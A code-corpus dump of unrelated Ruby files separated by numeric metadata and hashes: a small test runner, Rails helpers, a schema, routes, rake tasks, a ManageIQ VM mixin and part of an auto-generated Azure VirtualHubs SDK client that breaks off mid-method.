module Microtest def Microtest.run(tests) n_tests = 0 n_failed = 0 tests.methods .select {|symbol| symbol.to_s.start_with? 'test_' } .each do |symbol| tests.state = SingleTestState.new symbol.to_s tests.run_one_test symbol n_tests += 1 unless tests.state.ok n_failed += 1 end end puts if n_failed == 0 puts "All #{n_tests} tests passed." else puts "#{n_failed} of #{n_tests} tests failed." exit 1 end end class Test attr_accessor :state def run_one_test(symbol) begin public_send symbol rescue => e state.ok = false puts "#{state.name} failed:" puts e puts e.backtrace end end def assert_equal(expected, actual) if expected != actual if state.ok state.ok = false puts "#{state.name} failed:" end if contains_newline(actual) || contains_newline(expected) puts " Expected\n#{actual.inspect}\n to equal\n#{expected.inspect}" else puts " Expected #{actual.inspect} to equal #{expected.inspect}" end end end private def contains_newline(value) value.respond_to?(:include?) && value.include?("\n") end end class SingleTestState attr_accessor :ok, :name def initialize(name) @ok = true @name = name end end end
18.15493
76
0.645462
08b2f113b008a52e33a95c304b6f32649fdd76a4
40
module ProgramClassificationsHelper end
13.333333
35
0.925
28ab6f91f7bde5e79a03dee7a1ddb83b896a6e10
608
module DeviseHelper def devise_error_messages! return '' if resource.errors.empty? messages = resource.errors.full_messages.map { |msg| content_tag(:li, msg) }.join html = <<-HTML <div class="alert alert-danger alert-dismissible show" role="alert"> <button type="button" class="close" data-dismiss="alert"> <span aria-hidden="true">&times;</span> </button> <strong> #{pluralize(resource.errors.count, "error")} must be fixed </strong> #{messages} </div> HTML html.html_safe end def devise_error_messages? !resource.errors.empty? end end
25.333333
83
0.661184
1c07151a2d3d71d6d6c02f5816681e61ed6b2774
5,256
# encoding: UTF-8 # This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # Note that this schema.rb definition is the authoritative source for your # database schema. If you need to create the application database on another # system, you should be using db:schema:load, not running all the migrations # from scratch. The latter is a flawed and unsustainable approach (the more migrations # you'll amass, the slower it'll run and the greater likelihood for issues). # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 20150915104923) do create_table "authentications", force: true do |t| t.integer "user_id" t.string "provider" t.string "uid" t.string "token" t.datetime "created_at" t.datetime "updated_at" end add_index "authentications", ["user_id"], name: "index_authentications_on_user_id" create_table "blog_posts", force: true do |t| t.string "title" t.text "body_markdown" t.text "body_html" t.boolean "draft" t.date "published_on" t.integer "user_id" t.datetime "created_at" t.datetime "updated_at" end add_index "blog_posts", ["user_id"], name: "index_blog_posts_on_user_id" create_table "comments", force: true do |t| t.text "body" t.integer "user_id" t.integer "parent_id" t.string "parent_type" t.datetime "created_at" t.datetime "updated_at" end add_index "comments", ["user_id"], name: "index_comments_on_user_id" create_table "digest_histories", force: true do |t| t.string "frequency" t.integer "last_discussion_id" t.integer "last_tutorial_id" t.integer "last_library_id" t.integer "users_count" t.datetime "created_at" t.datetime "updated_at" end create_table "discussions", force: true do |t| t.string "title" t.text "body" t.integer "user_id" t.datetime "created_at" t.datetime "updated_at" end add_index "discussions", ["user_id"], name: "index_discussions_on_user_id" create_table "guide_categories", force: true do |t| t.string "name" t.datetime "created_at" t.datetime "updated_at" end create_table "guide_revisions", force: true do |t| t.integer "original_guide_id" t.string "status" t.datetime "created_at" t.datetime "updated_at" t.string "title" t.text "body_markdown" t.integer "guide_category_id" t.integer "user_id" end create_table "libraries", force: true do |t| t.string "name" t.text "description" t.string "website_url" t.integer "category_id" t.datetime "created_at" t.datetime "updated_at" t.integer "user_id" end add_index "libraries", ["category_id"], name: "index_libraries_on_category_id" create_table "library_categories", force: true do |t| t.string "title" t.datetime "created_at" t.datetime "updated_at" end create_table "posts", force: true do |t| t.string "title" t.text "body_markdown" t.text "body_html" t.integer "user_id" t.datetime "created_at" t.datetime "updated_at" t.string "user_display_name" t.string "source_url" t.integer "external_id" t.string "type", default: "InternalPost" t.integer "guide_category_id" end add_index "posts", ["user_id"], name: "index_posts_on_user_id" create_table "posts_tags", id: false, force: true do |t| t.integer "post_id" t.integer "tag_id" end create_table "tags", force: true do |t| t.string "title" t.boolean "approved" t.integer "user_id" t.datetime "created_at" t.datetime "updated_at" end add_index "tags", ["user_id"], name: "index_tags_on_user_id" create_table "tutorials", force: true do |t| t.string "url" t.string "title" t.text "body_markdown" t.text "body_html" t.boolean "draft" t.date "published_on" t.integer "user_id" t.datetime "created_at" t.datetime "updated_at" end add_index "tutorials", ["user_id"], name: "index_tutorials_on_user_id" create_table "users", force: true do |t| t.string "username" t.boolean "guest" t.datetime "created_at" t.datetime "updated_at" t.boolean "digest_subscriber" t.string "digest_frequency" t.boolean "dismissed_welcome_message" t.string "email" t.string "github_id" t.string "encrypted_password", limit: 128 t.string "confirmation_token", limit: 128 t.string "remember_token", limit: 128 end add_index "users", ["email"], name: "index_users_on_email" add_index "users", ["remember_token"], name: "index_users_on_remember_token" create_table "votes", force: true do |t| t.integer "post_id" t.integer "user_id" t.datetime "created_at" t.datetime "updated_at" end add_index "votes", ["post_id"], name: "index_votes_on_post_id" add_index "votes", ["user_id"], name: "index_votes_on_user_id" end
29.2
86
0.673516
79b559e6c74cf74893482952254ae12baf8864eb
916
# coding: utf-8 module Ruboty module CalendarAlert class Alert attr_reader :event def initialize(event) @event = event end def margin 10 end def id event.uid.to_s end def body body = "#{event.summary} まで#{margin}分です。" body << "\n#{event.description}" unless event.description.blank? unless event.url.blank? body << "\n#{event.url}" unless (event.description || '').include?(event.url.to_s) end body.strip end def schedule datetime = margin.minutes.ago(event.dtstart.value) datetime.strftime("%M %H %d %m *") end def to_hash {id: id, body: body, schedule: schedule} end def future? Time.now < event.dtstart end def today? future? and event.dtstart < 1.days.since end end end end
18.693878
92
0.545852
bf14ef426a285498d07b93443ee34924a0ae6f00
755
namespace :versioner do desc "Get the app's version number" task :version => :environment do puts Versioner.version end desc "Increment the major version number by 1" task :increment_major => :environment do puts Versioner.increment_major end desc "Increment the minor version number by 1" task :increment_minor => :environment do puts Versioner.increment_minor end desc "Increment the patch version number by 1" task :increment_patch => :environment do puts Versioner.increment_patch end desc "Force a new version number (required: major, minor, patch)" task :force, [:major, :minor, :patch] => :environment do |t, args| puts Versioner.force args.major.to_i, args.minor.to_i, args.patch.to_i end end
27.962963
74
0.725828
f8d030ca12a10dac2ed500e24ce2cc7b632a172a
4,895
module VmShowMixin extend ActiveSupport::Concern def explorer @explorer = true @lastaction = "explorer" @timeline = @timeline_filter = true # need to set these to load timelines on vm show screen if params[:menu_click] # Came in from a chart context menu click @_params[:id] = parse_nodetype_and_id(x_node_right_cell).last @explorer = true perf_menu_click # Handle the menu action return end # if AJAX request, replace right cell, and return if request.xml_http_request? replace_right_cell return end if params[:accordion] self.x_active_tree = "#{params[:accordion]}_tree" self.x_active_accord = params[:accordion] end if params[:button] @miq_after_onload = "miqAjax('/#{controller_name}/x_button?pressed=#{params[:button]}');" end # Build the Explorer screen from scratch allowed_features = build_accordions_and_trees_only params.instance_variable_get(:@parameters).merge!(session[:exp_parms]) if session[:exp_parms] # Grab any explorer parm overrides session.delete(:exp_parms) if params[:commit] == "Upload" && session.fetch_path(:edit, :new, :sysprep_enabled, 1) == "Sysprep Answer File" upload_sysprep_file set_form_locals_for_sysprep end if params[:id] # if you click on a link to VM on a dashboard widget that will redirect you # to explorer with params[:id] and you get into the true branch redirected = set_elements_and_redirect_unauthorized_user else set_active_elements(allowed_features.first) unless @upload_sysprep_file end render :layout => "application" unless redirected end def set_form_locals_for_sysprep _partial, action, @right_cell_text = set_right_cell_vars locals = {:submit_button => true, :no_reset => true, :action_url => action } @x_edit_buttons_locals = locals end # VM or Template show selected, redirect to proper controller, to get links on tasks screen working def vm_show record = VmOrTemplate.find_by_id(params[:id]) redirect_to :action => 'show', :controller => record.class.base_model.to_s.underscore, :id => record.id end private def set_active_elements(feature, _x_node_to_set = nil) if feature self.x_active_tree ||= feature.tree_list_name self.x_active_accord ||= feature.accord_name end get_node_info(x_node_right_cell) end def set_active_elements_authorized_user(tree_name, accord_name) self.x_active_tree = tree_name self.x_active_accord = accord_name end def show_record(id = nil) @display = params[:display] || "main" unless pagination_or_gtl_request? @lastaction = "show" @showtype = "config" @vm = @record = identify_record(id, VmOrTemplate) unless @record if @record.nil? add_flash(_("Error: Record no longer exists in the database"), :error) if request.xml_http_request? && params[:id] # Is this an Ajax request clicking on a node that no longer exists? @delete_node = params[:id] # Set node to be removed from the tree end return end case @display when "download_pdf", "main" get_tagdata(@record) @showtype = "main" set_summary_pdf_data if ["download_pdf"].include?(@display) when "performance" @showtype = "performance" perf_gen_init_options # Initialize perf chart options, charts will be generated async when "timeline" @showtype = "timeline" tl_build_timeline # Create the timeline report end get_host_for_vm(@record) session[:tl_record_id] = @record.id end def get_filters session[:vm_filters] end def get_session_data @title = _("VMs And Templates") @layout = controller_name @lastaction = session[:vm_lastaction] @showtype = session[:vm_showtype] @filters = get_filters @catinfo = session[:vm_catinfo] @display = session[:vm_display] @polArr = session[:polArr] || "" # current tags in effect @policy_options = session[:policy_options] || "" end def set_session_data session[:vm_lastaction] = @lastaction session[:vm_showtype] = @showtype session[:miq_compressed] = @compressed unless @compressed.nil? session[:miq_exists_mode] = @exists_mode unless @exists_mode.nil? session[:vm_filters] = @filters session[:vm_catinfo] = @catinfo session[:vm_display] = @display unless @display.nil? session[:polArr] = @polArr unless @polArr.nil? session[:policy_options] = @policy_options unless @policy_options.nil? end def breadcrumb_name(model) ui_lookup(:models => model || self.class.model.name) end end
33.758621
133
0.665986
ab4394eb15fc836094e65a5c576106f0a06395ba
1,626
Rails.application.routes.draw do resources :apartments # The priority is based upon order of creation: first created -> highest priority. # See how all your routes lay out with "rake routes". # You can have the root of your site routed with "root" # root 'welcome#index' # Example of regular route: # get 'products/:id' => 'catalog#view' # Example of named route that can be invoked with purchase_url(id: product.id) # get 'products/:id/purchase' => 'catalog#purchase', as: :purchase # Example resource route (maps HTTP verbs to controller actions automatically): # resources :products # Example resource route with options: # resources :products do # member do # get 'short' # post 'toggle' # end # # collection do # get 'sold' # end # end # Example resource route with sub-resources: # resources :products do # resources :comments, :sales # resource :seller # end # Example resource route with more complex sub-resources: # resources :products do # resources :comments # resources :sales do # get 'recent', on: :collection # end # end # Example resource route with concerns: # concern :toggleable do # post 'toggle' # end # resources :posts, concerns: :toggleable # resources :photos, concerns: :toggleable # Example resource route within a namespace: # namespace :admin do # # Directs /admin/products/* to Admin::ProductsController # # (app/controllers/admin/products_controller.rb) # resources :products # end end
27.559322
84
0.648831
61cb5b25b69a6db472db027571ee55b3cbbd8db6
320
# frozen_string_literal: true module NgpVan class Client module SurveyQuestions def survey_questions(params: {}) get(path: 'surveyQuestions', params: params) end def survey_question(id:, params: {}) get(path: "surveyQuestions/#{id}", params: params) end end end end
20
58
0.640625
79426fadfa4b9881f4d883f744c9da2a94bf2dda
238
class ChangeProjectsIdentifierLimit < ActiveRecord::Migration def self.up change_column :projects, :identifier, :string, :limit => nil end def self.down change_column :projects, :identifier, :string, :limit => 20 end end
23.8
64
0.726891
87899521dd82958d72e905fb58839bc2a96fb932
998
lib = File.expand_path('lib', __dir__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'jekyll-diagrams/version' Gem::Specification.new do |spec| spec.name = 'jekyll-diagrams' spec.summary = 'Jekyll plugins for diagrams support' spec.version = Jekyll::Diagrams::VERSION spec.authors = ['zhustec'] spec.email = ['[email protected]'] spec.homepage = 'https://github.com/zhustec/jekyll-diagrams' spec.license = 'MIT' spec.description = 'Jekyll plugins for diagrams support, including Graphviz, Blockdiag, Seqdiag and so on.' spec.files = `git ls-files -z`.split("\x0") spec.test_files = spec.files.grep(%r!^(test|spec|features)!) spec.require_paths = ['lib'] spec.required_ruby_version = '>= 2.3.0' spec.add_dependency 'jekyll', '>= 3.7', '< 5.0' spec.add_development_dependency 'bundler' spec.add_development_dependency 'rake' spec.add_development_dependency 'minitest', '~> 5.0' end
34.413793
111
0.674349
7a8f5c1b198d60d11fa03d13dd8476faa30b3b11
1,142
require 'rails_helper' RSpec.configure do |c| c.use_transactional_examples = false c.order = 'defined' end RSpec.feature 'Users' do before(:each) do @user = User.create(name: 'user1') @grp = @user.groups.build(name: 'Grade-1', Icon: 'far fa-address-card') @grp.save @ts = @user.time_spents.build(name: 'English', Amount: '120') @ts.save @ts2 = @user.time_spents.build(name: 'Planning', Amount: '120') @ts2.save @gt = GroupTime.create(time_spent_id: @ts.id, group_id: @grp.id) end scenario 'Hours Logged for planning/checking' do visit root_path click_on 'Log In' fill_in 'Name', with: 'user1' click_on 'Login' expect(current_path).to eql('/user') click_on 'Hours Logged for planning/checking' expect(current_path).to eql('/time_spent/plancheckshow') click_on 'Log Planning/Checking Hours' expect(current_path).to eql('/time_spent/planchecknew') select 'Checking', from: 'loghrs_name' fill_in 'Duration', with: '120' click_on 'Submit' expect(current_path).to eql('/time_spent/plancheckshow') expect(page).to have_content 'Checking' end end
30.864865
75
0.682137
bba75215ab1646ac05ad6b8c4de2085f5ebcb1fa
157
class Contact < ActiveRecord::Base belongs_to :user has_many :last_interactions has_many :contact_plans has_many :plans, through: :contact_plans end
22.428571
42
0.789809
39b0e80599a9191ed91ec0a01dc34b8c08684fd2
40,555
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Network::Mgmt::V2018_11_01 # # VirtualHubs # class VirtualHubs include MsRestAzure # # Creates and initializes a new instance of the VirtualHubs class. # @param client service class for accessing basic functionality. # def initialize(client) @client = client end # @return [NetworkManagementClient] reference to the NetworkManagementClient attr_reader :client # # Retrieves the details of a VirtualHub. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [VirtualHub] operation results. # def get(resource_group_name, virtual_hub_name, custom_headers:nil) response = get_async(resource_group_name, virtual_hub_name, custom_headers:custom_headers).value! response.body unless response.nil? end # # Retrieves the details of a VirtualHub. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def get_with_http_info(resource_group_name, virtual_hub_name, custom_headers:nil) get_async(resource_group_name, virtual_hub_name, custom_headers:custom_headers).value! end # # Retrieves the details of a VirtualHub. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def get_async(resource_group_name, virtual_hub_name, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'virtual_hub_name is nil' if virtual_hub_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualHubs/{virtualHubName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'virtualHubName' => virtual_hub_name}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Network::Mgmt::V2018_11_01::Models::VirtualHub.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Creates a VirtualHub resource if it doesn't exist else updates the existing # VirtualHub. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param virtual_hub_parameters [VirtualHub] Parameters supplied to create or # update VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [VirtualHub] operation results. # def create_or_update(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:nil) response = create_or_update_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:custom_headers).value! response.body unless response.nil? end # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param virtual_hub_parameters [VirtualHub] Parameters supplied to create or # update VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Concurrent::Promise] promise which provides async access to http # response. # def create_or_update_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:nil) # Send request promise = begin_create_or_update_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:custom_headers) promise = promise.then do |response| # Defining deserialization method. deserialize_method = lambda do |parsed_response| result_mapper = Azure::Network::Mgmt::V2018_11_01::Models::VirtualHub.mapper() parsed_response = @client.deserialize(result_mapper, parsed_response) end # Waiting for response. @client.get_long_running_operation_result(response, deserialize_method) end promise end # # Updates VirtualHub tags. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param virtual_hub_parameters [TagsObject] Parameters supplied to update # VirtualHub tags. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [VirtualHub] operation results. # def update_tags(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:nil) response = update_tags_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:custom_headers).value! response.body unless response.nil? end # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param virtual_hub_parameters [TagsObject] Parameters supplied to update # VirtualHub tags. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Concurrent::Promise] promise which provides async access to http # response. # def update_tags_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:nil) # Send request promise = begin_update_tags_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:custom_headers) promise = promise.then do |response| # Defining deserialization method. deserialize_method = lambda do |parsed_response| result_mapper = Azure::Network::Mgmt::V2018_11_01::Models::VirtualHub.mapper() parsed_response = @client.deserialize(result_mapper, parsed_response) end # Waiting for response. @client.get_long_running_operation_result(response, deserialize_method) end promise end # # Deletes a VirtualHub. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # def delete(resource_group_name, virtual_hub_name, custom_headers:nil) response = delete_async(resource_group_name, virtual_hub_name, custom_headers:custom_headers).value! nil end # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Concurrent::Promise] promise which provides async access to http # response. # def delete_async(resource_group_name, virtual_hub_name, custom_headers:nil) # Send request promise = begin_delete_async(resource_group_name, virtual_hub_name, custom_headers:custom_headers) promise = promise.then do |response| # Defining deserialization method. deserialize_method = lambda do |parsed_response| end # Waiting for response. @client.get_long_running_operation_result(response, deserialize_method) end promise end # # Lists all the VirtualHubs in a resource group. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Array<VirtualHub>] operation results. # def list_by_resource_group(resource_group_name, custom_headers:nil) first_page = list_by_resource_group_as_lazy(resource_group_name, custom_headers:custom_headers) first_page.get_all_items end # # Lists all the VirtualHubs in a resource group. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def list_by_resource_group_with_http_info(resource_group_name, custom_headers:nil) list_by_resource_group_async(resource_group_name, custom_headers:custom_headers).value! end # # Lists all the VirtualHubs in a resource group. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def list_by_resource_group_async(resource_group_name, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualHubs' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Network::Mgmt::V2018_11_01::Models::ListVirtualHubsResult.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Lists all the VirtualHubs in a subscription. # # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [Array<VirtualHub>] operation results. # def list(custom_headers:nil) first_page = list_as_lazy(custom_headers:custom_headers) first_page.get_all_items end # # Lists all the VirtualHubs in a subscription. # # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def list_with_http_info(custom_headers:nil) list_async(custom_headers:custom_headers).value! end # # Lists all the VirtualHubs in a subscription. # # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def list_async(custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? path_template = 'subscriptions/{subscriptionId}/providers/Microsoft.Network/virtualHubs' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id}, query_params: {'api-version' => @client.api_version}, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:get, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Network::Mgmt::V2018_11_01::Models::ListVirtualHubsResult.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Creates a VirtualHub resource if it doesn't exist else updates the existing # VirtualHub. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param virtual_hub_parameters [VirtualHub] Parameters supplied to create or # update VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [VirtualHub] operation results. # def begin_create_or_update(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:nil) response = begin_create_or_update_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:custom_headers).value! response.body unless response.nil? end # # Creates a VirtualHub resource if it doesn't exist else updates the existing # VirtualHub. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param virtual_hub_parameters [VirtualHub] Parameters supplied to create or # update VirtualHub. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def begin_create_or_update_with_http_info(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:nil) begin_create_or_update_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:custom_headers).value! end # # Creates a VirtualHub resource if it doesn't exist else updates the existing # VirtualHub. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param virtual_hub_parameters [VirtualHub] Parameters supplied to create or # update VirtualHub. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def begin_create_or_update_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:nil) fail ArgumentError, '@client.subscription_id is nil' if @client.subscription_id.nil? fail ArgumentError, 'resource_group_name is nil' if resource_group_name.nil? fail ArgumentError, 'virtual_hub_name is nil' if virtual_hub_name.nil? fail ArgumentError, '@client.api_version is nil' if @client.api_version.nil? fail ArgumentError, 'virtual_hub_parameters is nil' if virtual_hub_parameters.nil? request_headers = {} request_headers['Content-Type'] = 'application/json; charset=utf-8' # Set Headers request_headers['x-ms-client-request-id'] = SecureRandom.uuid request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil? # Serialize Request request_mapper = Azure::Network::Mgmt::V2018_11_01::Models::VirtualHub.mapper() request_content = @client.serialize(request_mapper, virtual_hub_parameters) request_content = request_content != nil ? JSON.generate(request_content, quirks_mode: true) : nil path_template = 'subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualHubs/{virtualHubName}' request_url = @base_url || @client.base_url options = { middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]], path_params: {'subscriptionId' => @client.subscription_id,'resourceGroupName' => resource_group_name,'virtualHubName' => virtual_hub_name}, query_params: {'api-version' => @client.api_version}, body: request_content, headers: request_headers.merge(custom_headers || {}), base_url: request_url } promise = @client.make_request_async(:put, path_template, options) promise = promise.then do |result| http_response = result.response status_code = http_response.status response_content = http_response.body unless status_code == 200 || status_code == 201 error_model = JSON.load(response_content) fail MsRest::HttpOperationError.new(result.request, http_response, error_model) end result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Network::Mgmt::V2018_11_01::Models::VirtualHub.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end # Deserialize Response if status_code == 201 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::Network::Mgmt::V2018_11_01::Models::VirtualHub.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Updates VirtualHub tags. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param virtual_hub_parameters [TagsObject] Parameters supplied to update # VirtualHub tags. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [VirtualHub] operation results. # def begin_update_tags(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:nil) response = begin_update_tags_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:custom_headers).value! response.body unless response.nil? end # # Updates VirtualHub tags. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param virtual_hub_parameters [TagsObject] Parameters supplied to update # VirtualHub tags. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [MsRestAzure::AzureOperationResponse] HTTP response information. # def begin_update_tags_with_http_info(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:nil) begin_update_tags_async(resource_group_name, virtual_hub_name, virtual_hub_parameters, custom_headers:custom_headers).value! end # # Updates VirtualHub tags. # # @param resource_group_name [String] The resource group name of the # VirtualHub. # @param virtual_hub_name [String] The name of the VirtualHub. # @param virtual_hub_parameters [TagsObject] Parameters supplied to update # VirtualHub tags. # @param [Hash{String => String}] A hash of custom headers that will be added # to the HTTP request. # # @return [Concurrent::Promise] Promise object which holds the HTTP response. # def 